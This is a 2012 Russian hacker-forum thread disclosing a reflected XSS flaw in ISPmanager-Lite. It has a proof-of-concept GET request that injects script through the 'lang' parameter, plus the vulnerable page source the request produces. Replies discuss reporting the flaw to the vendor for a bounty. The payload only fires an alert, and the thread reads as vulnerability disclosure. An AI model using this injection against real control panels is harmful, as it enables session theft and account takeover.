Старый 10.07.2012, 14:33   #1
Pirotexnik
 
Аватар для Pirotexnik
 
Регистрация: 16.05.2012
Сообщений: 32
Репутация: -2
По умолчанию ISPmanager-Lite - XSS

[Intro]
Доброго времени суток.
Ковырял бложек, наткнулся на сабж. В сабже ХСС.
[PoC]


Код:
GET /manager/ispmgr?lang=";alert("PWNED+BY+p1r0!");// HTTP/1.1
Cookie: PHPSESSID=nblmvs0lg0bfgvhu0uk4l1r2t5; ads=4815162342; ground=0; best=5; ispmgr4=aqua:ua:0
Host: site.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*
Код:
<script language="JavaScript">
		var imgpath = '/manimg/aqua/';
		document.write( "<base href='"+location.protocol+"//"+location.host+imgpath+"'>" );
		var binary = "/manager/ispmgr";

		function setThemeLang () {
			var theme = "aqua";
			var lang = "";alert("PWNED BY p1r0!");//";

			for ( var i=0; i < document.authform.theme.options.length; i++ )
				if ( document.authform.theme.options[i].value == theme ) {
					document.authform.theme.selectedIndex = i;
					break;
				}

			for ( var i=0; i < document.authform.lang.options.length; i++ )
				if ( document.authform.lang.options[i].value == lang ) {
					document.authform.lang.selectedIndex = i;
					break;
				}
		}

		function setQ() {
			document.cookie = binary.substr(binary.lastIndexOf('/')+1)+"4="+ document.authform.theme.options[document.authform.theme.selectedIndex].value +":"+ document.authform.lang.options[document.authform.lang.selectedIndex].value +":0; path=/; expires=Wednesday, 18-May-33 03:33:20 GMT";
			return true;
		}
	</script>
Офф сайт разрабов: http://ispsystem.com/ru/
__________________
h4q 4ll w0rld

Последний раз редактировалось Pirotexnik; 10.07.2012 в 23:43..
Pirotexnik вне форума   Ответить с цитированием
Старый 10.07.2012, 15:52   #2
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

а есть исходники этой системы?
__________________
The Sucks Origin Policy
d0znpp вне форума   Ответить с цитированием
Старый 10.07.2012, 15:58   #3
Pirotexnik
 
Аватар для Pirotexnik
 
Регистрация: 16.05.2012
Сообщений: 32
Репутация: -2
По умолчанию

У меня нету. Но она вроде бы платная, так что где-то должна валятся нуленая.
__________________
h4q 4ll w0rld
Pirotexnik вне форума   Ответить с цитированием
Старый 11.07.2012, 16:25   #4
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

разрабам напиши, 300 евро дадут. возможно

http://forum.ispsystem.com/ru/showthread.php?t=19364
12309 вне форума   Ответить с цитированием
Старый 11.07.2012, 16:39   #5
Nightmare
Banned
 
Регистрация: 06.07.2010
Сообщений: 162
Репутация: 10
По умолчанию

Цитата:
Сообщение от 12309 Посмотреть сообщение
разрабам напиши, 300 евро дадут.
Или 15 суток.
Nightmare вне форума   Ответить с цитированием
Старый 11.07.2012, 21:09   #6
Pirotexnik
 
Аватар для Pirotexnik
 
Регистрация: 16.05.2012
Сообщений: 32
Репутация: -2
По умолчанию

Отписал разрабам, жду профита
__________________
h4q 4ll w0rld
Pirotexnik вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot